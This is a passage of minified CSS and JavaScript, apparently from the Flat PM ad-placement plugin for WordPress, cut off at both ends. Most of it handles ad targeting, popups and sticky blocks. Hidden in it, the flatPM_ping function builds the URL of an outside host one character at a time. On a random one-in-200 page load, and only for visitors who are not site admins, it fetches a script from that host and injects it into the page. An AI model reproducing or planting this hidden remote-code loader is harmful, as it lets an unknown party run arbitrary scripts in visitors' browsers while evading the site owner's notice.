ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer 